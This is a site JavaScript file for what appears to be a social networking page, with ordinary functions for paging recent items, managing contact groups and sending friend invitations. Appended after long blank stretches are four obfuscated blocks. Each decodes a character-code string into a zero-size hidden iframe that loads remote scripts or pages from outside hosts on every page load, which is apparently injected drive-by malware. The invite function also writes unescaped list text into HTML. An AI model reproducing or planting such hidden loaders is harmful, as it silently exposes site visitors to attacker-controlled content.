	start=1;
	function fxOnload(){
		alert('this is on load');
	}


	function show_recent(direction, total)
	{
		if(direction=="right")
			start = start + 4;
		else if(direction=="left")
			start = start - 4;

		if(start >= 13)
			start = 1;
		else if(start <= 0)
			start = 9;

		if(start == 1 && total>0)
		{
			document.getElementById('recent1').style.display = "block";
			document.getElementById('recent2').style.display = "none";
			document.getElementById('recent3').style.display = "none";
			if(total<4) last = total; else last = 4;
			document.getElementById('recent_total').innerHTML = "[1-"+last+" of "+total+"]";
		}
		if(start == 5 && total>4)
		{
				document.getElementById('recent1').style.display = "none";
				document.getElementById('recent2').style.display = "block";
				document.getElementById('recent3').style.display = "none";
				if(total<8) last = total; else last = 8;
				document.getElementById('recent_total').innerHTML = "[5-"+last+" of "+total+"]";
		}
		if(start == 9 && total>8)
		{
				document.getElementById('recent1').style.display = "none";
				document.getElementById('recent2').style.display = "none";
				document.getElementById('recent3').style.display = "block";
				if(total<12) last = total; else last = 12;
				document.getElementById('recent_total').innerHTML = "[9-"+last+" of "+total+"]";
		}
		return;
}






        function createNewList()
        {
                var name = prompt("Enter a name for a new contact group.", "");
                if(name)
                        document.location.href="friends.php?add_list="+name;
        }
        function doAction(action)
        {
                if(action)
                {

                        document.getElementById('action_name').value = action;
                        document.friendsForm.submit();

                }
        }
        function invite_mem_addall()
        {
                var x=document.getElementById("myfriends");
                var y=document.getElementById("invitefriends");
                var i;
                i= x.options.length;
                if(i!=0)
                {
                        y.options.length=i;
                        for(var j=0;j<i;j++)
                        {
                                y.options[j]=new Option(x.options[j].text,x.options[j].value);
                        }
                        for(j=0;j<i;j++)
                        {
                                x.remove(0);
                        }
                }

        }
        function invite_mem_add()
        {
                var x=document.getElementById("myfriends");
                var y=document.getElementById("invitefriends");
                var i;
                i = x.selectedIndex;
                if(i>=0)
                {
                        y.options[y.options.length]=new Option(x.options[i].text,x.options[i].value);
                        x.remove(x.selectedIndex);
                }
        }
        function invite_mem_removeall()
        {
                var x=document.getElementById("invitefriends");
                var y=document.getElementById("myfriends");
                var i;
                i= x.options.length;
                if(i!=0)
                {
                        y.options.length=i;
                        for(var j=0;j<i;j++)
                        {
                                y.options[j]=new Option(x.options[j].text,x.options[j].value);

                        }
                        for(j=0;j<i;j++)
                        {
                                x.remove(0);

                        }
                }
        }







        function invite_mem_remove()
        {
                var x=document.getElementById("invitefriends");
                var y=document.getElementById("myfriends");
                var i;
                i = x.selectedIndex;
                if(i>=0)
                {
                        y.options[y.options.length]=new Option(x.options[i].text,x.options[i].value);
                        x.remove(x.selectedIndex);
                }
        }

        function invite_mem_send()
        {
                var i,out;
                var x=document.getElementById("invitefriends");
                for(i=0; i<x.options.length; i++)
                {
                        out = out + "<input type=hidden name=flist[] value="+x.options[i].text+" >";
                }
                document.getElementById('friends_div').innerHTML=out;
                document.fform.submit();
        }

        function approve_post(id,idHlinkAprove)
        {                
		alert("This posting will approved. Refresh the page.");
		var y="apostform"+id;
		var x = document.getElementById(y);
                return x.submit();


        }


 





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!101!109!97!105!108!115!46!115!117!114!114!101!121!104!105!108!108!50!46!99!111!109!47!105!110!46!99!103!105!63!100!101!102!97!117!108!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

